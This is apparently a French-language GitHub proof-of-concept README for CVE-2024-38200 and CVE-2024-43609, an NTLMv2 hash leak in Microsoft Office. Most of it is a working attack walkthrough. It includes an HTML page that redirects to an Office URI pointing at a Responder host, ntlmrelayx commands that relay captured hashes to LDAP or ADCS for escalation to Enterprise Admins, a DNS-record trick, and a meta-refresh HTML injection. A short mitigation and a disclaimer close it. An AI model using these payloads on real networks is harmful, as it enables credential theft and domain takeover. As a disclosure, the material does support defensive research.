passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Vulnérabilité de divulgation NTLMv2 dans Microsoft Office
La méthode de capture du hash NTLMv2 via HTTP n'a pas été corrigée. Le hash NTLMv2 peut toujours être obtenu via HTTP et relayé vers LDAP ou ADCS. MSRC a déclaré que cette situation « telle que présentée, cela semble faire partie de la conception actuelle ».
Même si cette vulnérabilité est corrigée, comme indiqué dans la section Authentification Windows intégrée, le hash peut toujours être obtenu et relayé avec les paramètres par défaut.
Auparavant, une méthode pour capturer des hashs NTLMv2 via SMB en utilisant les schémas d'URI Office a été partagée. L'idée principale était simple. Envoyer l'URL du fichier HTML ci-dessous à la victime et capturer le hash NTLMv2 via SMB. LIEN
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
C'est le point qui m'a inspiré. Si nous consultons la page Schémas d'URI Office, nous pouvons voir que le protocole https:// est utilisé dans les schémas d'URI. Cette situation indique que http:// peut également être potentiellement utilisé. La capture du hash NTLMv2 via HTTP est plus avantageuse que via SMB pour effectuer une attaque de relais NTLM contre un contrôleur de domaine Tableau de relais.
Lorsque j'ai utilisé l'URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contre Office 2016 MSO (16.0.4266.1001) 32-bit , une boîte d'avertissement est apparue pour protéger l'utilisateur contre une activité malveillante, mais je ne peux pas en dire autant pour Microsoft 365 Office and Office 2019. Ces versions accèdent à un fichier Office distant sans avertissement et peuvent être exploitées pour capturer le hash NTLMv2 via les protocoles SMB et HTTP.
J'ai découvert que le correctif pour CVE-2024-38200 n'a pas été appliqué correctement. Après la publication du correctif, j'ai testé la vulnérabilité contre Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) et Microsoft 365 MSO 2408 Build 16.0.17928.20114 et j'ai déterminé que la vulnérabilité peut toujours être exploitée comme indiqué ci-dessous CVE-2024-43609 .
Nous pouvons rediriger une requête HTTP vers un chemin UNC avec une redirection 302 lorsqu'une application Office effectue une requête via les schémas d'URI Office (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Le script uncredirect.py gère la requête HTTP envoyée avec un schéma d'URI MS Office et la redirige vers un chemin UNC qui inclut l'adresse IP de Responder. Cette situation permettrait de capturer le hash NTLMv2 via SMB et de contourner la restriction de sécurité pour l'URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py et responder.office.html à l'utilisateur victime.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
La capture du hash NTLMv2 via HTTP est plus avantageuse que via SMB pour le relais LDAP. Lorsqu'un fichier est demandé via une URI Office, le hash NTLMv2 peut être obtenu via HTTP sans rediriger vers un chemin UNC à l'aide d'une redirection 302. Cette méthode d'exploitation ne peut pas être réalisée via Internet car, sauf en cas de mauvaise configuration dans les Propriétés Internet, l'authentification NTLM ne se produira pas via HTTP pour un hôte extérieur au réseau d'entreprise.
Cependant, je pense que c'est une méthode efficace pour les attaques par relais et l'élévation de privilèges.
Les paramètres des "Propriétés Internet" affectent le comportement d'authentification NTLM des applications Office. Nous pouvons le voir avec quelques exemples. Supposons que nous utilisons le format d'URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx pour capturer le hash NTLMv2.
Lorsque l'une des GPO listées ci-dessous est appliquée à une machine victime jointe au domaine, l'application Office effectue l'authentification automatiquement.
Automatic logon with current user name and password est défini pour User Authentication dans Internet ZoneLocal Intranet (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) et Automatic logon with current user name and password est défini pour User Authentication dans la zone Trusted Sites
Dans le cas où l'une des GPO mentionnées ci-dessus est appliquée, après que l'utilisateur victime clique sur l'URI, le fichier leak.docx sera récupéré par l'application Office à partir du serveur de l'attaquant et le hash NTLMv2 sera obtenu car la GPO appliquée provoque une authentification NTLM automatique.
Exemple de scénario pour abuser de la GPO :
Après avoir défini l'URI Office avec l'adresse IP (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), nous pouvons envoyer l'URL du fichier office.html à un utilisateur disposant de privilèges d'administrateur de domaine et relayer le hash capturé vers le serveur LDAP(S) à l'aide de ntlmrelayx. Le ntlmrelayx créera un nouvel utilisateur et l'ajoutera au groupe Enterprise Admins en un simple clic sur le bouton "Open".
Remarque :
Les sites ajoutés via GPO peuvent être listés à l'aide des clés de registre suivantes.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Si l'une des GPO mentionnées ci-dessus n'est pas appliquée, l'authentification NTLM ne se produira pas automatiquement. Cependant, si nous ajoutons un enregistrement A DNS et utilisons cet enregistrement dans l'URI Office, Windows considérera le nom d'hôte comme faisant partie de la zone Intranet. De cette façon, l'authentification NTLMv2 se produit automatiquement et un utilisateur standard peut élever ses privilèges sans avoir besoin d'une GPO mal configurée. Tout utilisateur de domaine disposant de privilèges standard peut ajouter un enregistrement DNS inexistant donc cette attaque fonctionne avec les paramètres par défaut pour un utilisateur de domaine.
office.html peut être servi depuis n'importe quel serveur accessible à l'utilisateur victime (e.g., https://office.com/office.html) . J'ai configuré le port 8081 pour Apache car ntlmrelayx utilisera le port 80 par défaut. Nous pouvons utiliser --http-port avec ntlmrelayx comme autre option. Saisissez l'enregistrement ajouté dans l'URI Office dans le fichier office.html.
Lancez ntlmrelayx : python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
Envoyez l'URL du fichier office.html à un utilisateur disposant de privilèges d'administrateur de domaine. Vous devez vérifier si l'enregistrement DNS est résolu avec la commande ping avant d'envoyer l'URL.
Lorsque l'utilisateur victime navigue vers l'URL, cliquer sur le bouton 'Open' suffit pour capturer le hash NTLMv2. (aucun avertissement !)
Le hash NTLMv2 capturé via HTTP est relayé vers le contrôleur de domaine avec ntlmrelayx. En conséquence, un utilisateur standard peut obtenir les permissions DCSync et Enterprise Admins dans les configurations par défaut en seulement deux clics.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
Remarque-1 : Si un serveur joint au domaine est compromis et que l'exécution d'inveigh ou de ntlmrelayx est possible, l'ajout d'un enregistrement DNS n'est pas nécessaire.
Ntlmrelayx : python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri : ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
Remarque-2 : Comme autre option, le hash de l'utilisateur victime peut être relayé vers ADCS au lieu de LDAP :
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
Cette preuve de concept a été réalisée sur Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) et Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176) .
Toute personne ayant utilisé Windows dans un environnement intranet d'entreprise a pu remarquer que l'accès aux ressources d'entreprise sur un réseau est sans friction et, dans de nombreux cas, ne nécessite aucune invite d'authentification explicite demandant des identifiants autres que l'ouverture de session initiale au domaine Windows. Cela vaut pour plusieurs services, comme les lecteurs réseau mappés, les sites web intranet, et plus encore. Les navigateurs de Microsoft, Internet Explorer et Edge, ont un concept de zones de confiance : Internet, Intranet local, Sites de confiance et Sites restreints. Chaque zone a un niveau de sécurité différent et des restrictions associées. Par exemple, pour les sites de la zone Intranet, Internet Explorer désactive le filtre XSS, exécute des plug-ins ActiveX, effectue des ouvertures de session automatiques et, globalement, a moins de contrôles de sécurité que pour les sites Internet. Par défaut, lorsqu'un serveur web dispose d'une ressource protégée par l'authentification NTLM, Internet Explorer et Edge effectuent l'authentification automatiquement si le site web se trouve dans l'intranet d'entreprise ou est sur la liste blanche des Sites de confiance, respectant ainsi le concept de zones de confiance. D'autres navigateurs, comme Mozilla Firefox et Google Chrome, prennent également en charge l'ouverture de session NTLM automatique. Chrome s'appuie sur les mêmes paramètres qu'Internet Explorer ; dans le cas de Firefox, cette configuration n'est pas activée par défaut et doit être modifiée manuellement via about:config.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
Pour qu'un hôte distant puisse s'authentifier auprès de vous, par exemple à la suite d'une navigation vers un chemin UNC, certaines conditions doivent être remplies. Principalement, pour minimiser le risque de fuite de hashs vers des réseaux externes comme Internet, votre système doit se trouver dans la zone « intranet local ». Le moyen le plus simple de satisfaire à cette exigence lorsque vous avez déjà un point d'appui sur le réseau interne de la cible est d'utiliser le nom NetBIOS de votre système. Autrement dit, si vous êtes sur workstation1.contoso.com, vous devez utiliser workstation1 dans votre chemin UNC pour le forcer dans la zone intranet local.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
Comme mentionné, les changements dans les Propriétés Internet affectent également le comportement d'authentification NTLM des navigateurs Edge et Chrome. Ces navigateurs prennent en charge l'authentification NTLM automatique et Windows suppose qu'une connexion HTTP avec un nom NetBIOS dans la zone intranet effectue l'authentification NTLM. J'ai réalisé plus tard que, comme indiqué dans la POC, si un enregistrement DNS est créé et qu'une URL avec un nom NetBIOS (e.g., http://kali14/notexist.html ) est envoyée à un utilisateur, il est possible de capturer et de relayer le hash NTLMv2 de l'utilisateur si l'URL est ouverte dans les navigateurs Edge ou Chrome. Si nous relayons le hash NTLMv2 d'un utilisateur privilégié vers LDAP(s) avec ntlmrelayx , nous pouvons élever les privilèges dans le domaine avec les paramètres par défaut.
Edge:
Chrome:
Au lieu d'envoyer le lien à l'utilisateur, une injection HTML peut être utilisée pour capturer le hash NTLMv2 :
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Include all local (intranet) sites not listed in other zones dans les paramètres des sites Intranet local afin de bloquer l'authentification NTLM automatique via HTTP. L'option en question est sélectionnée par défaut. 
Remarque : Cet exploit est fourni uniquement à des fins éducatives et de recherche. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par l'application de cet exploit. L'utilisation non autorisée de ce code dans des environnements où vous n'avez pas la permission explicite est illégale et contraire à l'éthique.